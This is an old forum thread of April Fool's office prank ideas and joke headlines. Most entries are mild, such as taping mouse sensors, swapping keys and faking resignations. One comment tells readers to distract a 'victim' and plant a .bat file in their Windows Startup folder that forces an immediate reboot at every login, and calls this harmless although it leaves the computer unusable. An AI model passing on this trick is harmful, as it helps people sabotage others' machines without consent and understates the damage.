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Pranks for April Fool's Day 2004?
Nighttime asks: "April the First will soon be upon us and I'm looking for some subtle pranks to play around the office. There's the usual taking a screenshot and setting as background, placing a piece of tape across the mouse ball (use opaque tape for optical mice), setting the keyboard layout to Dvorak, swapping the 'M' and 'N' keys etc. The office empties quite quickly at the end of the day which leaves plenty of time for preparation."
Your girlfriends iBook is suddenly complaining about it playing the newest Justin Timberlake CD?
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All the developers on my project (7 in total) are "resigning", one at a time, in individual meetings with the PM. The project's been rough recently, so this won't be coming out of left-field and detected as a prank immediately.
I'm hoping we'll have a good laugh AND teach management how much they need us at the same time...
Don't do it! What a suprise if he won't take you back.
Instead go as a unit to lunch at some kind of sleazy place, or that could be sleezy. Or don't go there, but say you did. Don't take the PM if you fake it!
Then after lunch, go up to the PM one-by-one and tell him your sick from something you ate at lunch.
After the 2nd or 3rd person he'll be in a panic. Mission accomplished!
SCO claims complete ownership over Linux, charges $699/license.
Martha Stewart goes to prison!
Darl McBride calls GPL unconstitutional, petitions Congress for redress.
California town takes steps to ban styrofoam cups due to environmental concerns about DHMO used in manufacturing process.
A soft drink flavoured with turkey and gravy, which even its creator admits is undrinkable, has become a surprise hit ahead of the US Thanksgiving holiday.
What the fuck? We're not celebrating April 1st, 2004, we're celebrating April 367th, 2003.
Add a shortcut to a .bat file in your victim's Startup folder in a Windows 2K or XP setup (using some clever social engineering way to get the person away from their terminal), and put the following line in the .bat file:
shutdown -r -f -t 00This will reboot the victim's computer every time they start up their computer! It's harmless, and very annoying.
A very simple prank on laptops, is to turn num-lock on. This will map numeric values to the alphanumeric keys on the right side of the keyboard. People who never use this functionality (and have never turned the num-lock on by accident) tend to be stumped by this one for at least several minutes.